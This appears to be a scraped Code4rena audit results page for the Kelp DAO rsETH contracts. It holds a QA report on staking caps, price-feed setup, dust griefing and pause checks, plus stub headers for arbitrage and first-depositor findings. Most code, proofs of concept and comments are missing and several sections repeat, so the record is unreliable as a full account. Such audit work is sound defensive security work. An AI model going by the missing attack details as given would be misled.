[L-01] Prevent deposits to the nodes with max amount of assets being staked already<a name="L-01"></a>

If the node has staked already 1e23 of assets, it should not receive any transfers, since there is no more space to stake at EigenLayer.

Example of an occurance:

Could be implied here:

[L-02] Set the price feeds during an initialization<a name="L-02"></a>

Currently, the price feeds are setted by using updatePriceOracleFor() after an LRTOPracle being deployed. However, it's better to set up everything during an initialization process.

Example of an occurance:

Could be added, for instances, here:

[L-03] Dropping a dust to grief the staking process<a name="L-03"></a>

After an amount of lst being transfered to a specified NodeDelegator, the stake on EigenLayer is expected to happen. However, if there is a possibility to grief depositAssetIntoStrategy, adversary might drop some dust and front-run the tx submitted by LRTManager. This forces to transfer some assets back to the pool in order to successfully stake at EigenLayer.

Example of an occurance:

It's better to provide an opportunity for LRTManager to decide, how much lst amount is about to be transfered and not blindly rely on the total balance here:

[L-04] Approve to `StrategyManager` during an initialization<a name="L-04"></a>

There is no need to inflate the bytecode for NodeDelegator by introducing a special function for an approval grants. Instead, approve to the eigenlayerStrategyManagerAddress during an initialization.

Example of an occurance:

Could be added, for instances, here:

[L-05] Inforce `maxnodeDelegatorCount > nodeDelegatorQueue.length`<a name="L-05"></a>

Put an assertion to ensure that the maxnodeDelegatorCount > nodeDelegatorQueue.length to prevent unexpected behavior from happening.

Example of an occurance:

Could be added, for instances, here:

[L-06] Place an assertion to ensure the system in paused/unpaused state<a name="L-06"></a>

The functions pause()/unpause() are super important in a case, when something suspicous start to happen. An LRTManager might accidentally invoke unpause() instead of hitting pause() and convince himself of stopping suspicous activity. However, this might give an attacker the chance to continue his dirty activity.

Example of an occurance:

Could be added, for instances, here:

[N-01] There is no need to guard with `nonReentrant`<a name="N-01"></a>

Some of the functions are overprotected by nonReentrant modifier, however, the re-entrancy is not possible. It causes an unnecessary gas overhead.

Example of an occurance:

Could be removed, for instances,
- here:
- here:
- here:
- here:

[N-02] Introduce `removeNodeDelegatorFromQueue`<a name="N-02"></a>

It is recommended to introduce removeNodeDelegatorFromQueue in case if the NodeDelegator is not longer needed.

Example of an occurance:

Could be introduced, for instances, here:

#0 - c4-pre-sort
2023-11-18T00:25:25Z

raymondfam marked the issue as sufficient quality report

#1 - c4-pre-sort
2023-11-18T01:49:48Z

raymondfam marked the issue as high quality report

#2 - c4-judge
2023-12-01T16:37:29Z

fatherGoose1 marked the issue as grade-a

#3 - c4-judge
2023-12-01T19:03:09Z

fatherGoose1 marked the issue as selected for report

#4 - fatherGoose1
2023-12-01T19:04:38Z

Agree with all except N-01. This type of recommendation can not be given without thorough review of downstream effects.

Kelp DAO | rsETH - m_Rassska's results

A collective DAO designed to unlock liquidity, DeFi and higher rewards for restaked assets through liquid restaking.

General Information

Findings Distribution

Researcher Performance

External Links

🌟 [H-01] Possible arbitrage from Chainlink price discrepancy - $1,173.34

Findings Information

Labels

Awards

External Links

Lines of code

Vulnerability details

Some theory needed:

An example of profitable arbitrage:

Final words:

Proof on Concept

Recommended Mitigation Steps

Short term:

Long term:

Assessed type

#0 - c4-pre-sort2023-11-16T19:45:50Z

#1 - c4-pre-sort2023-11-16T19:46:10Z

#2 - c4-pre-sort2023-11-18T01:29:46Z

#3 - c4-pre-sort2023-11-18T01:29:53Z

#4 - c4-pre-sort2023-11-18T01:29:58Z

#5 - c4-sponsor2023-11-24T08:29:48Z

#6 - gus-stdr2023-11-24T08:31:11Z

#7 - c4-judge2023-12-01T17:09:06Z

#8 - fatherGoose12023-12-01T17:17:53Z

#9 - ding99ya2023-12-02T18:16:07Z

#10 - d3e42023-12-03T03:55:54Z

#11 - ding99ya2023-12-03T04:05:42Z

#12 - ding99ya2023-12-03T04:15:42Z

#13 - Rassska2023-12-03T08:06:32Z

#14 - d3e42023-12-03T14:11:58Z

#15 - ding99ya2023-12-03T14:26:25Z

#16 - Rassska2023-12-03T20:06:22Z

The result of my research

Visual Attachments

Conclusions

#17 - Rassska2023-12-03T20:16:00Z

#18 - Rassska2023-12-03T23:59:06Z

#19 - 0xnirlin2023-12-04T18:35:38Z

#20 - d3e42023-12-05T10:03:06Z

#21 - 0xnirlin2023-12-05T10:50:34Z

#22 - fatherGoose12023-12-05T18:04:46Z

#23 - c4-judge2023-12-08T17:32:46Z

#24 - c4-judge2023-12-08T17:32:51Z

#25 - fatherGoose12023-12-08T17:37:43Z

#26 - PlamenTSV2023-12-08T19:07:06Z

#27 - d3e42023-12-08T21:12:45Z

#28 - ding99ya2023-12-08T21:16:54Z

#29 - Rassska2023-12-08T21:39:33Z

#30 - ding99ya2023-12-08T21:46:42Z

#31 - d3e42023-12-08T23:40:57Z

#32 - 0xnirlin2023-12-09T03:51:46Z

#33 - d3e42023-12-09T10:09:09Z

[H-03] First depositor is able to break shares minting - $4.66

Findings Information

Awards

Labels

External Links

Lines of code

Vulnerability details

Proof of Concept

Recommended Mitigation Steps

Assessed type

#0 - c4-pre-sort2023-11-16T19:45:03Z

#1 - c4-pre-sort2023-11-16T19:45:17Z

#2 - c4-judge2023-12-01T17:05:36Z

🌟 [Q-43] QA Report - $72.90

Findings Information

Awards

Labels

External Links

Overall Analysis

About the Protocol

Low Severity Issues

Non-Critical Severity Issues

#0 - c4-pre-sort
2023-11-16T19:45:50Z

#1 - c4-pre-sort
2023-11-16T19:46:10Z

#2 - c4-pre-sort
2023-11-18T01:29:46Z

#3 - c4-pre-sort
2023-11-18T01:29:53Z

#4 - c4-pre-sort
2023-11-18T01:29:58Z

#5 - c4-sponsor
2023-11-24T08:29:48Z

#6 - gus-stdr
2023-11-24T08:31:11Z

#7 - c4-judge
2023-12-01T17:09:06Z

#8 - fatherGoose1
2023-12-01T17:17:53Z

#9 - ding99ya
2023-12-02T18:16:07Z

#10 - d3e4
2023-12-03T03:55:54Z

#11 - ding99ya
2023-12-03T04:05:42Z

#12 - ding99ya
2023-12-03T04:15:42Z

#13 - Rassska
2023-12-03T08:06:32Z

#14 - d3e4
2023-12-03T14:11:58Z

#15 - ding99ya
2023-12-03T14:26:25Z

#16 - Rassska
2023-12-03T20:06:22Z

#17 - Rassska
2023-12-03T20:16:00Z

#18 - Rassska
2023-12-03T23:59:06Z

#19 - 0xnirlin
2023-12-04T18:35:38Z

#20 - d3e4
2023-12-05T10:03:06Z

#21 - 0xnirlin
2023-12-05T10:50:34Z

#22 - fatherGoose1
2023-12-05T18:04:46Z

#23 - c4-judge
2023-12-08T17:32:46Z

#24 - c4-judge
2023-12-08T17:32:51Z

#25 - fatherGoose1
2023-12-08T17:37:43Z

#26 - PlamenTSV
2023-12-08T19:07:06Z

#27 - d3e4
2023-12-08T21:12:45Z

#28 - ding99ya
2023-12-08T21:16:54Z

#29 - Rassska
2023-12-08T21:39:33Z

#30 - ding99ya
2023-12-08T21:46:42Z

#31 - d3e4
2023-12-08T23:40:57Z

#32 - 0xnirlin
2023-12-09T03:51:46Z

#33 - d3e4
2023-12-09T10:09:09Z

#0 - c4-pre-sort
2023-11-16T19:45:03Z

#1 - c4-pre-sort
2023-11-16T19:45:17Z

#2 - c4-judge
2023-12-01T17:05:36Z

[L-04] Approve to `StrategyManager` during an initialization<a name="L-04"></a>

[L-05] Inforce `maxnodeDelegatorCount > nodeDelegatorQueue.length`<a name="L-05"></a>

[N-01] There is no need to guard with `nonReentrant`<a name="N-01"></a>

[N-02] Introduce `removeNodeDelegatorFromQueue`<a name="N-02"></a>

#0 - c4-pre-sort
2023-11-18T00:25:25Z

#1 - c4-pre-sort
2023-11-18T01:49:48Z

#2 - c4-judge
2023-12-01T16:37:29Z

#3 - c4-judge
2023-12-01T19:03:09Z

#4 - fatherGoose1
2023-12-01T19:04:38Z